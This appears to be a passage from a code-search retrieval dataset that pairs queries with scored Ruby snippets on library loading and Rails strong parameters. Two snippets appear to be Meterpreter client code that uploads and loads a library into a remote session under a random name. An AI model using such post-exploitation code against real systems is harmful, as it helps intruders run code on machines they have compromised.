might help build gems\n mkdir_p \"#{TGT_DIR}/lib/ruby/include/ruby-#{rbvt}\"\n cp_r \"#{EXT_RUBY}/include/ruby-#{rbvt}/\", \"#{TGT_DIR}/lib/ruby/include\"\n chdir TGT_DIR do\n ln_s \"libruby.so.#{rbvm}\", \"libruby.so\"\n end \n SOLOCS.each_value do |path|\n cp \"#{path}\", \"#{TGT_DIR}\"\n end \n end", "title": "" }, { "docid": "2f7cc6acb107f530b3db8dbb5fb05b76", "score": "0.576093", "text": "def get_dylibs lib\n `#{OTOOL} -L #{lib}`.split(\"\\n\").inject([]) do |dylibs, line|\n if line =~ /^\\S/ or line =~ /System|@executable_path|libobjc/\n dylibs\n else\n dylibs << line.gsub(/\\s\\(compatibility.*$/, '').strip\n end\n end\n end", "title": "" }, { "docid": "1e086c377cae960549b9ef43ff2e00ed", "score": "0.5751877", "text": "def process_libs\n if options[:skip_libs]\n Railroader.notify '[Skipping]'\n return\n end\n\n track_progress @file_list[:libs] do |lib|\n Railroader.debug \"Processing #{lib.path}\"\n process_lib lib\n end\n end", "title": "" }, { "docid": "f66e546bfffb2f67c0e03e08fdd1ddde", "score": "0.5733069", "text": "def compile\n download_zip\n clear_pickup\n @droplet.copy_resources\n link_applications\n link_dependencies\n\n fail_to_link_libraries\n end", "title": "" }, { "docid": "b190091ebd93290a6c7fd3edc24359de", "score": "0.5723523", "text": "def check_binary_linkage(binary, library)\n binary.dynamically_linked_libraries.any? do |dll|\n next false unless dll.start_with?(HOMEBREW_PREFIX.to_s)\n\n File.realpath(dll) == File.realpath(library)\n end\n end", "title": "" }, { "docid": "d0e6c7c5a00cb8bb779abd5a7eae1a1f", "score": "0.5716662", "text": "def install\n # ENV.j1 # if your formula's build system can't parallelize\n\n system \"make lib\" # if this fails, try separate make/make install steps\n\n lib.install 'libPolyClip.a'\n\n\tdef includeSubdir\n\t include/'libPolyClip'\n\tend\n\n\tincludeSubdir.install Dir['*.h']\n\n end", "title": "" }, { "docid": "5dd54a109c729fcbfe68e406ff96445d", "score": "0.5711061", "text": "def load_library\n require 'rouge'\n # The \"alan3.rb\" lexer must be in same folder as this script!\n herepath=File.expand_path(File.dirname(__FILE__))\n require \"#{herepath}/alan3.rb\"\n :loaded\n end", "title": "" }, { "docid": "142318156961cba29d99cd3622da9df0", "score": "0.57042885", "text": "def library_obj_argument(val)\n val = lib_path_argument(val)\n ::Boson.invoke :load_library, val\n val\n end", "title": "" }, { "docid": "9091d27cf509da5caad735e33600b4f5", "score": "0.569145", "text": "def load_library(opts)\n\t\tlibrary_path = opts['LibraryFilePath']\n\t\ttarget_path = opts['TargetFilePath']\n\t\tload_flags = LOAD_LIBRARY_FLAG_LOCAL\n\n\t\t# No library path, no cookie.\n\t\tif (library_path == nil)\n\t\t\traise ArgumentError, \"No library file path was supplied\", caller\n\t\tend\n\n\t\t# Set up the proper loading flags\n\t\tif (opts['UploadLibrary'])\n\t\t\tload_flags &= ~LOAD_LIBRARY_FLAG_LOCAL\n\t\tend\n\t\tif (opts['SaveToDisk'])\n\t\t\tload_flags |= LOAD_LIBRARY_FLAG_ON_DISK\n\t\tend\n\t\tif (opts['Extension'])\n\t\t\tload_flags |= LOAD_LIBRARY_FLAG_EXTENSION\n\t\tend\n\n\t\t# Create a request packet\n\t\trequest = Packet.create_request('core_loadlib')\n\n\t\t# If we must upload the library, do so now\n\t\tif ((load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL)\n\t\t\timage = ''\n\t\t\t\n\t\t\t::File.open(library_path, 'rb') { |f|\n\t\t\t\timage = f.read\n\t\t\t}\n\n\t\t\tif (image != nil)\n\t\t\t\trequest.add_tlv(TLV_TYPE_DATA, image)\n\t\t\telse\n\t\t\t\traise RuntimeError, \"Failed to serialize library #{library_path}.\", caller\n\t\t\tend\n\n\t\t\t# If it's an extension we're dealing with, rename the library\n\t\t\t# path of the local and target so that it gets loaded with a random\n\t\t\t# name\n\t\t\tif (opts['Extension'])\n\t\t\t\tlibrary_path = \"ext\" + rand(1000000).to_s + \".dll\"\n\t\t\t\ttarget_path = library_path\n\t\t\tend\n\t\tend\n\n\t\t# Add the base TLVs\n\t\trequest.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path)\n\t\trequest.add_tlv(TLV_TYPE_FLAGS, load_flags)\n\n\t\tif (target_path != nil)\n\t\t\trequest.add_tlv(TLV_TYPE_TARGET_PATH, target_path)\n\t\tend\n\n\t\t# Transmit the request and wait the default timeout seconds for a response\n\t\tresponse = self.client.send_packet_wait_response(request, self.client.response_timeout)\n\n\t\t# No response?\n\t\tif (response == nil)\n\t\t\traise RuntimeError, \"No response was received to the core_loadlib request.\", caller\n\t\telsif (response.result != 0)\n\t\t\traise RuntimeError, \"The core_loadlib request failed with result: #{response.result}.\", caller\n\t\tend\n\n\t\treturn true\n\tend", "title": "" }, { "docid": "ce463172ef385c7dec30ea80d007ac26", "score": "0.56837773", "text": "def load_library(opts)\n\t\tlibrary_path = opts['LibraryFilePath']\n\t\ttarget_path = opts['TargetFilePath']\n\t\tload_flags = LOAD_LIBRARY_FLAG_LOCAL\n\n\t\t# No library path, no cookie.\n\t\tif (library_path == nil)\n\t\t\traise ArgumentError, \"No library file path was supplied\", caller\n\t\tend\n\n\t\t# Set up the proper loading flags\n\t\tif (opts['UploadLibrary'])\n\t\t\tload_flags &= ~LOAD_LIBRARY_FLAG_LOCAL\n\t\tend\n\t\tif (opts['SaveToDisk'])\n\t\t\tload_flags |= LOAD_LIBRARY_FLAG_ON_DISK\n\t\tend\n\t\tif (opts['Extension'])\n\t\t\tload_flags |= LOAD_LIBRARY_FLAG_EXTENSION\n\t\tend\n\n\t\t# Create a request packet\n\t\trequest = Packet.create_request('core_loadlib')\n\n\t\t# If we must upload the library, do so now\n\t\tif ((load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL)\n\t\t\timage = ''\n\t\t\t\n\t\t\t::File.open(library_path, 'rb') { |f|\n\t\t\t\timage = f.read\n\t\t\t}\n\n\t\t\tif (image != nil)\n\t\t\t\trequest.add_tlv(TLV_TYPE_DATA, image)\n\t\t\telse\n\t\t\t\traise RuntimeError, \"Failed to serialize library #{library_path}.\", caller\n\t\t\tend\n\n\t\t\t# If it's an extension we're dealing with, rename the library\n\t\t\t# path of the local and target so that it gets loaded with a random\n\t\t\t# name\n\t\t\tif (opts['Extension'])\n\t\t\t\tlibrary_path = \"ext\" + rand(1000000).to_s + \".#{client.binary_suffix}\"\n\t\t\t\ttarget_path = library_path\n\t\t\tend\n\t\tend\n\n\t\t# Add the base TLVs\n\t\trequest.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path)\n\t\trequest.add_tlv(TLV_TYPE_FLAGS, load_flags)\n\n\t\tif (target_path != nil)\n\t\t\trequest.add_tlv(TLV_TYPE_TARGET_PATH, target_path)\n\t\tend\n\n\t\t# Transmit the request and wait the default timeout seconds for a response\n\t\tresponse = self.client.send_packet_wait_response(request, self.client.response_timeout)\n\n\t\t# No response?\n\t\tif (response == nil)\n\t\t\traise RuntimeError, \"No response was received to the core_loadlib request.\", caller\n\t\telsif (response.result != 0)\n\t\t\traise RuntimeError, \"The core_loadlib request failed with result: #{response.result}.\", caller\n\t\tend\n\n\t\treturn true\n\tend", "title": "" }, { "docid": "c515b440f2d340031e784300e1b2fed2", "score": "0.5674396", "text": "def set_up_libraries\n R.eval <<-EOR\n EOR\n end", "title": "" }, { "docid": "c7c92845c3da126cebb628a7f1c3e188", "score": "0.5671949", "text": "def add_system_library(names)\n add_system_library_extension(names, 'dylib')\n end", "title": "" }, { "docid": "39d35eff1642542d79e4cca493c808e2", "score": "0.56697524", "text": "def lddFindLibraries(binary)\n\n result = []\n\n libs = `ldd \"#{binary}\"`\n\n libs.each_line do |line|\n\n line.strip!\n\n if line.empty?\n next\n end\n\n if match = line.match(/\\s+=>\\s+(.*?\\.so[^\\s]*)/i)\n \n lib = match.captures[0]\n\n # Skip non-existing filles\n if not File.exist? lib or not Pathname.new(lib).absolute?\n next\n end\n\n if not isGoodLDDFound lib\n next\n end\n\n # And finally skip ones that are in the staging or build directory\n if not isInSubdirectory(CurrentDir, lib)\n\n puts \"ldd found library: \" + lib \n\n result.push lib\n \n end\n end\n end\n\n result\nend", "title": "" }, { "docid": "81fc272b3d12c8a359c8e42c75c6c088", "score": "0.5660921", "text": "def shared_libraries\n self.class.shared_libraries(@pid)\n end", "title": "" }, { "docid": "98ede8430e92ae8e56e3aadad6c74b2b", "score": "0.5660848", "text": "def library_compile_string\n if RUBY_PLATFORM =~ /mswin/\n @loaded_libs.join(' ')\n else\n @loaded_libs.collect {|l| l =~ %r!/! ? \" #{l}\" : \"-l#{l}\"}.join(' ')\n end\n end", "title": "" }, { "docid": "caf0f74e6ebd86b203c4087420afc5ef", "score": "0.5650112", "text": "def library_load_complete; end", "title": "" }, { "docid": "716d0e2578a50c2816a0795a652f8bfb", "score": "0.5626942", "text": "def require=(lib)\n options.library << lib\n end", "title": "" }, { "docid": "f173dfac7c88525e3f1e808c784722ed", "score": "0.5618157", "text": "def define_tasks\n output_objs = @objs.collect { |obj| filepath obj, :objext }\n output_lib = filepath lib_name, :dlext\n\n task name => output_lib\n\n file output_lib => output_objs do |t|\n sh_cmd :ldshared, :dldflags, :ldflags, {'-L' => :libdirs}, '-o', output_lib, output_objs.join(' '),\n link_libs.collect { |l| \"-l#{l}\" }.join(' '), :libs, :dldlibs, :librubyarg_shared\n end\n\n CLEAN.include output_objs\n CLOBBER.include output_lib\n define_rules\n end", "title": "" }, { "docid": "c9f7bf6cb92409e312e119c92a0419f7", "score": "0.5606313", "text": "def external_libraries\n @system_config.external_libraries(@platform) + @configuration.external_libraries(@system_config, platform)\n end", "title": "" }, { "docid": "e38b653451042d8a89686cd7679f8c5f", "score": "0.5604653", "text": "def run\n build_jar\n copy_libs\n\t puts \"Complete!\"\n end", "title": "" }, { "docid": "96cfa5b71ebd283bf1fe5b286c74b8a1", "score": "0.5601869", "text": "def require_lib(r)\n require(r)\n log \"Required #{r}\" if verbose >= 2\n end", "title": "" }, { "docid": "91e77a07468501f72a55b085d0652d65", "score": "0.55982673", "text": "def build_sub_libraries\n s = \"\"\n libs_to_build.each do |lib|\n s << import(\"#{ LIBPATH }src#{ File::SEPARATOR }js#{ File::SEPARATOR }lib#{ File::SEPARATOR }#{ lib }.js\")\n end\n s\nend", "title": "" }, { "docid": "eb99b9569986097af0e92ea4edb001ba", "score": "0.5594392", "text": "def include_library(name, version)\n begin\n @result.add_library(@result.java_library(name, version))\n rescue\n WLog.warn \"couldn't load library #{name}-#{version}.jar, check library definition in the config file\"\n WLog.debug $!\n end\n end", "title": "" }, { "docid": "559a4ec284021e94954d96d600038cbb", "score": "0.55865246", "text": "def copyDependencyLibraries(libs, target, strip, log)\n\n libs.each do |lib|\n\n # Skip empty stuff\n if not lib or lib.empty? or lib == \"optimized\" or lib == \"debug\" or lib =~ /-l.*/\n next\n end\n\n # Skip duplicates\n if HandledLibraries.include? lib\n next\n end\n\n onError \"Dependency library file #{lib} doesn't exist\" if not File.exists? lib\n\n copyPossibleSymlink(lib, target, strip, log)\n HandledLibraries.push lib\n \n end\nend", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "741731865700783014654663ba7d9fe4", "score": "0.0", "text": "def tagging_params\n params.require(:tagging).permit(:entity_type, :entity_id, :tags)\n end", "title": "" } ]
[ { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.7495027", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "13a61145b00345517e33319a34f7d385", "score": "0.69566035", "text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end", "title": "" }, { "docid": "c72da3a0192ce226285be9c2a583d24a", "score": "0.69225836", "text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end", "title": "" }, { "docid": "3d346c1d1b79565bee6df41a22a6f28d", "score": "0.68929327", "text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end", "title": "" }, { "docid": "aa06a193f057b6be7c0713a5bd30d5fb", "score": "0.67848456", "text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end", "title": "" }, { "docid": "f6060519cb0c56a439976f0c978690db", "score": "0.674347", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "fad8fcf4e70bf3589fbcbd40db4df5e2", "score": "0.6682223", "text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end", "title": "" }, { "docid": "b453d9a67af21a3c28a62e1848094a41", "score": "0.6636527", "text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end", "title": "" }, { "docid": "2c8e2be272a55477bfc4c0dfc6baa7a7", "score": "0.66291976", "text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1685d76d665d2c26af736aa987ac8b51", "score": "0.66258276", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f", "score": "0.65625846", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18", "score": "0.6491194", "text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6477825", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "2d2af8e22689ac0c0408bf4cb340d8c8", "score": "0.64526874", "text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end", "title": "" }, { "docid": "236e1766ee20eef4883ed724b83e4176", "score": "0.64001405", "text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "b29cf4bc4a27d4b199de5b6034f9f8a0", "score": "0.63810205", "text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end", "title": "" }, { "docid": "bfb292096090145a067e31d8fef10853", "score": "0.63634825", "text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end", "title": "" }, { "docid": "6bf3ed161b62498559a064aea569250a", "score": "0.633783", "text": "def require_params\n return nil\n end", "title": "" }, { "docid": "b4c9587164188c64f14b71403f80ca7c", "score": "0.6336759", "text": "def sanitize_params!\n request.sanitize_params!\n end", "title": "" }, { "docid": "b63e6e97815a8745ab85cd8f7dd5b4fb", "score": "0.6325718", "text": "def excluded_from_filter_parameters; end", "title": "" }, { "docid": "38bec0546a7e4cbf4c337edbee67d769", "score": "0.631947", "text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end", "title": "" }, { "docid": "37d1c971f6495de3cdd63a3ef049674e", "score": "0.63146484", "text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "5ec018b4a193bf3bf8902c9419279607", "score": "0.63137317", "text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end", "title": "" }, { "docid": "91bfe6d464d263aa01e776f24583d1d9", "score": "0.6306224", "text": "def permitir_parametros\n params.permit!\n end", "title": "" }, { "docid": "e012d7306b402a37012f98bfd4ffdb10", "score": "0.6301168", "text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end", "title": "" }, { "docid": "157e773497f78353899720ad034a906a", "score": "0.63000035", "text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end", "title": "" }, { "docid": "8c384af787342792f0efc7911c3b2469", "score": "0.629581", "text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62926817", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62926817", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "9b76b3149ac8b2743f041d1af6b768b5", "score": "0.6280713", "text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end", "title": "" }, { "docid": "603f4a45e5efa778afca5372ae8a96dc", "score": "0.6271388", "text": "def param_whitelist\n [:role]\n end", "title": "" }, { "docid": "f6399952b4623e5a23ce75ef1bf2af5a", "score": "0.6266194", "text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend", "title": "" }, { "docid": "37c5d0a9ebc5049d7333af81696608a0", "score": "0.6256044", "text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend", "title": "" }, { "docid": "505e334c1850c398069b6fb3948ce481", "score": "0.62550515", "text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end", "title": "" }, { "docid": "6c4620f5d8fd3fe3641e0474aa7014b2", "score": "0.62525266", "text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end", "title": "" }, { "docid": "d14bb69d2a7d0f302032a22bb9373a16", "score": "0.6234781", "text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend", "title": "" }, { "docid": "5629f00db37bf403d0c58b524d4c3c37", "score": "0.62278074", "text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "d370098b1b3289dbd04bf1c073f2645b", "score": "0.6226693", "text": "def allow_params\n params.permit(:id, :email, :password)\n end", "title": "" }, { "docid": "fde8b208c08c509fe9f617229dfa1a68", "score": "0.6226605", "text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end", "title": "" }, { "docid": "78cbf68c3936c666f1edf5f65e422b6f", "score": "0.6226114", "text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend", "title": "" }, { "docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5", "score": "0.6200643", "text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end", "title": "" }, { "docid": "d724124948bde3f2512c5542b9cdea74", "score": "0.61913997", "text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end", "title": "" }, { "docid": "d18a36785daed9387fd6d0042fafcd03", "score": "0.61835426", "text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end", "title": "" }, { "docid": "36956168ba2889cff7bf17d9f1db41b8", "score": "0.6179986", "text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end", "title": "" }, { "docid": "07bc0e43e1cec1a821fb2598d6489bde", "score": "0.61630195", "text": "def accept_no_params\n accept_params {}\n end", "title": "" }, { "docid": "fc4b1364974ea591f32a99898cb0078d", "score": "0.6160931", "text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end", "title": "" }, { "docid": "13e3cfbfe510f765b5944667d772f453", "score": "0.6155551", "text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end", "title": "" }, { "docid": "84bd386d5b2a0d586dca327046a81a63", "score": "0.61542404", "text": "def good_params\n permit_params\n end", "title": "" }, { "docid": "b9432eac2fc04860bb585f9af0d932bc", "score": "0.61356604", "text": "def wall_params\n params.permit(:public_view, :guest)\n end", "title": "" }, { "docid": "f2342adbf71ecbb79f87f58ff29c51ba", "score": "0.61342114", "text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "8fa507ebc4288c14857ace21acf54c26", "score": "0.61188847", "text": "def strong_params\n # to dooo\n end", "title": "" }, { "docid": "9292c51af27231dfd9f6478a027d419e", "score": "0.61140966", "text": "def domain_params\n params[:domain].permit!\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "a3aee889e493e2b235619affa62f39c3", "score": "0.61107725", "text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.61038506", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.61038506", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6097247", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6097247", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "677293afd31e8916c0aee52a787b75d8", "score": "0.60860336", "text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end", "title": "" }, { "docid": "e50ea3adc222a8db489f0ed3d1dce35b", "score": "0.60855556", "text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end", "title": "" }, { "docid": "b7ab5b72771a4a2eaa77904bb0356a48", "score": "0.608446", "text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end", "title": "" }, { "docid": "b2841e384487f587427c4b35498c133f", "score": "0.6076753", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "3f5347ed890eed5ea86b70281803d375", "score": "0.60742563", "text": "def user_params\n params.permit!\n end", "title": "" }, { "docid": "0c8779b5d7fc10083824e36bfab170de", "score": "0.60677326", "text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end", "title": "" }, { "docid": "7646659415933bf751273d76b1d11b40", "score": "0.60666215", "text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end", "title": "" }, { "docid": "fa0608a79e8d27c2a070862e616c8c58", "score": "0.6065763", "text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end", "title": "" }, { "docid": "a3dc8b6db1e6584a8305a96ebb06ad21", "score": "0.60655254", "text": "def need_params\n end", "title": "" }, { "docid": "4f8205e45790aaf4521cdc5f872c2752", "score": "0.6064794", "text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end", "title": "" }, { "docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06", "score": "0.6062697", "text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.60620916", "text": "def filtered_parameters; end", "title": "" }, { "docid": "d6886c65f0ba5ebad9a2fe5976b70049", "score": "0.60562736", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "96ddf2d48ead6ef7a904c961c284d036", "score": "0.60491294", "text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.60490465", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.60490465", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "75b7084f97e908d1548a1d23c68a6c4c", "score": "0.6046521", "text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end", "title": "" }, { "docid": "080d2fb67f69228501429ad29d14eb29", "score": "0.6041768", "text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff", "score": "0.60346854", "text": "def parameters\n params.permit(permitted_params)\n end", "title": "" }, { "docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8", "score": "0.6030552", "text": "def filter_params\n end", "title": "" }, { "docid": "cf73c42e01765dd1c09630007357379c", "score": "0.6024842", "text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end", "title": "" }, { "docid": "793abf19d555fb6aa75265abdbac23a3", "score": "0.6021606", "text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end", "title": "" }, { "docid": "2e70947f467cb6b1fda5cddcd6dc6304", "score": "0.6019679", "text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend", "title": "" }, { "docid": "2a11104d8397f6fb79f9a57f6d6151c7", "score": "0.6017253", "text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end", "title": "" }, { "docid": "a83bc4d11697ba3c866a5eaae3be7e05", "score": "0.60145336", "text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end", "title": "" }, { "docid": "2aa7b93e192af3519f13e9c65843a6ed", "score": "0.60074294", "text": "def user_params\n params[:user].permit!\n end", "title": "" }, { "docid": "9c8cd7c9e353c522f2b88f2cf815ef4e", "score": "0.6006753", "text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "9736586d5c470252911ec58107dff461", "score": "0.60048765", "text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end", "title": "" }, { "docid": "e7cad604922ed7fad31f22b52ecdbd13", "score": "0.60009843", "text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6000742", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6000742", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "f70301232281d001a4e52bd9ba4d20f5", "score": "0.6000161", "text": "def room_allowed_params\n end", "title": "" }, { 